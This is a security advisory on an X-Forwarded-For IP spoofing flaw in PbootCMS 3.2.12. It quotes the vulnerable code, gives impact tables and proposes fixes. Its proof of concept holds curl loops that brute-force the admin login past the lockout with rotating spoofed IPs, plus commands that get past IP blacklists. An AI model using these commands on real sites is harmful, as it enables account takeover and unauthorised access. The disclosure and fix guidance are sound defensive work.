Logo PbootCMS 3.2.12 get_user_ip IP Address Spoofing

PbootCMS 3.2.12 get_user_ip IP Address Spoofing

Title: IP Address Spoofing Vulnerability in PbootCMS ≤ 3.2.12#

BUG_Author: [your_username]

Affected Version: PbootCMS ≤ 3.2.12

Vendor: PbootCMS Official

Software: PbootCMS GitHub Repository

Vulnerability Files:

  • core/function/handle.php (get_user_ip function)

  • apps/admin/controller/IndexController.php (login lockout mechanism)

  • apps/common/HomeController.php (IP blacklist/whitelist)

Description:#

An IP address spoofing vulnerability exists in PbootCMS <= 3.2.12. The get_user_ip() function unconditionally trusts the X-Forwarded-For HTTP header without validating whether the request originates from a trusted proxy. This allows remote attackers to bypass IP-based security controls including login failure lockout, IP blacklists, and IP whitelists.

Vulnerability Analysis:#

  1. Root Cause:

    In file core/function/handle.php, lines 130-146, the get_user_ip() function prioritizes the X-Forwarded-For header over the actual client IP:

    function get_user_ip(): string
    {
       if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
           $cip = $_SERVER['HTTP_X_FORWARDED_FOR'];  // Attacker-controlled
      } elseif (isset($_SERVER['HTTP_CLIENT_IP'])) {
           $cip = $_SERVER['HTTP_CLIENT_IP'];        // Attacker-controlled
      } else {
           $cip = $_SERVER['REMOTE_ADDR'];           // Actual client IP
      }
       if ($cip == '::1') {
           $cip = '127.0.0.1';
      }
       if (! preg_match('/^[0-9\.]+$/', $cip)) {
           $cip = '0.0.0.0';
      }
       return htmlspecialchars($cip);
    }

    The function only validates the IP format but does not verify whether the X-Forwarded-For header comes from a trusted reverse proxy.

  2. Affected Security Controls:

    a) Admin Login Lockout Bypass

    In apps/admin/controller/IndexController.php, lines 337-383, the login lockout mechanism uses get_user_ip() to track failed login attempts:

    private function checkLoginBlack()
    {
       $ip_black = RUN_PATH . '/data/' . md5('login_black') . '.php';
       if (file_exists($ip_black)) {
           $data = require $ip_black;
           $user_ip = get_user_ip();  // Spoofable IP
           $lock_time = $this->config('lock_time') ?: 900;
           $lock_count = $this->config('lock_count') ?: 5;
           if (isset($data[$user_ip]) && $data[$user_ip]['count'] >= $lock_count && ...) {
               return $lock_time - (time() - $data[$user_ip]['time']);
          }
      }
       return false;
    }

    Default configuration: 5 failed attempts trigger a 15-minute lockout. By spoofing different IPs, attackers can make unlimited login attempts.

    b) IP Blacklist/Whitelist Bypass

    In apps/common/HomeController.php, lines 50-72:

    $user_ip = get_user_ip();
    // IP blacklist check
    $ip_deny = Config::get('ip_deny', true);
    foreach ($ip_deny as $key => $value) {
       if (network_match($user_ip, $value)) {
           error('Your IP(' . $user_ip . ') is not allowed!');
      }
    }

    Attackers can bypass IP-based access controls by spoofing allowed IPs.

    c) Database Auto-Rename Prevention

    In apps/admin/controller/IndexController.php, line 57:

    if (get_user_ip() != '127.0.0.1' && $this->modDB()) {
       // Auto-rename database
    }

    By spoofing 127.0.0.1, attackers can prevent the database from being automatically renamed, keeping it accessible at the default predictable path.

Proof of Concept:#

Prerequisites:

  • Target server is directly accessible (not behind a properly configured reverse proxy)

  • OR reverse proxy does not sanitize X-Forwarded-For header

Step 1: Verify IP spoofing works

Send a request with a spoofed IP and observe the server's behavior:

# Normal request (uses real IP)
curl -v "http://<target>/admin.php"

# Request with spoofed IP
curl -v -H "X-Forwarded-For: 1.2.3.4" "http://<target>/admin.php"

Step 2: Bypass login lockout with unlimited password attempts

Normal brute force (gets locked after 5 attempts):

for i in {1..10}; do
 curl -X POST "http://<target>/admin.php/Index/login" \
   -d "username=admin&password=wrong$i&formcheck=<token>"
 echo "Attempt $i"
done
# Result: Locked after attempt 5

IP spoofing brute force (never gets locked):

for i in {1..1000}; do
 curl -X POST "http://<target>/admin.php/Index/login" \
   -H "X-Forwarded-For: 10.0.$((i/256)).$((i%256))" \
   -d "username=admin&password=wrong$i&formcheck=<token>"
 echo "Attempt $i with IP 10.0.$((i/256)).$((i%256))"
done
# Result: All 1000 attempts succeed, no lockout triggered

Step 3: Bypass IP blacklist

If attacker's real IP (e.g., 192.168.1.100) is blacklisted:

# Blocked request
curl "http://<target>/"
# Response: "Your IP (192.168.1.100) is not allowed!"

# Bypassed request with spoofed IP
curl -H "X-Forwarded-For: 8.8.8.8" "http://<target>/"
# Response: 200 OK (access granted)

Step 4: Prevent database auto-rename

Spoof localhost IP to prevent automatic database renaming:

curl -H "X-Forwarded-For: 127.0.0.1" "http://<target>/admin.php"

This keeps the database file accessible at /data/pbootcms.db.

Impact:#

Attack ScenarioImpact
Login Lockout BypassEnables unlimited brute force attacks against admin accounts
IP Blacklist BypassAllows banned attackers to continue accessing the site
IP Whitelist BypassAllows unauthorized access to restricted areas
Database Rename PreventionKeeps SQLite database at predictable path for disclosure
Audit Log PoisoningAll IP-based logs contain attacker-controlled values

Combined with a weak or default admin password, this vulnerability significantly increases the risk of complete system compromise.

Exploitation Conditions:#

Deployment ScenarioExploitableNotes
Direct deployment (no proxy)YesFully exploitable
Behind Nginx (misconfigured)YesIf proxy_set_header not configured
Behind Nginx (properly configured)NoX-Forwarded-For overwritten by proxy
Behind CDN (Cloudflare, etc.)NoCDN overwrites X-Forwarded-For

Tested Environment:#

ComponentVersion
PbootCMS3.2.12
PHP7.4.33
Web ServerApache 2.4.54
Operating SystemDebian (Docker)

Suggested Fix:#

Option 1: Add trusted proxy configuration

Modify core/function/handle.php:

function get_user_ip(): string
{
   // Define trusted proxy IPs (configure based on your environment)
   $trusted_proxies = array('127.0.0.1', '10.0.0.0/8', '172.16.0.0/12', '192.168.0.0/16');
   
   $remote_addr = $_SERVER['REMOTE_ADDR'];
   
   // Only trust X-Forwarded-For if request comes from trusted proxy
   if (isset($_SERVER['HTTP_X_FORWARDED_FOR']) && is_trusted_proxy($remote_addr, $trusted_proxies)) {
       $ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
       $cip = trim($ips[0]);  // Get the original client IP
  } else {
       $cip = $remote_addr;
  }
   
   if ($cip == '::1') {
       $cip = '127.0.0.1';
  }
   if (! preg_match('/^[0-9\.]+$/', $cip)) {
       $cip = '0.0.0.0';
  }
   return htmlspecialchars($cip);
}

function is_trusted_proxy($ip, $trusted_proxies) {
   foreach ($trusted_proxies as $proxy) {
       if (strpos($proxy, '/') !== false) {
           if (ip_in_range($ip, $proxy)) return true;
      } else {
           if ($ip === $proxy) return true;
      }
  }
   return false;
}

Option 2: Add configuration option

Add a configuration option in config/config.php to enable/disable proxy trust:

'trust_proxy' => false,  // Set to true only if behind a trusted reverse proxy
'trusted_proxy_ips' => array('127.0.0.1'),

Option 3: Use REMOTE_ADDR for security-critical functions

For security-critical functions like login lockout, always use $_SERVER['REMOTE_ADDR'] instead of the spoofable get_user_ip().

Timeline:#

  • 2025-12-19: Vulnerability discovered during security audit

  • 2025-12-19: Proof of concept developed and verified

  • 2025-12-19: Report submitted to VulDB

References:#

Last updated on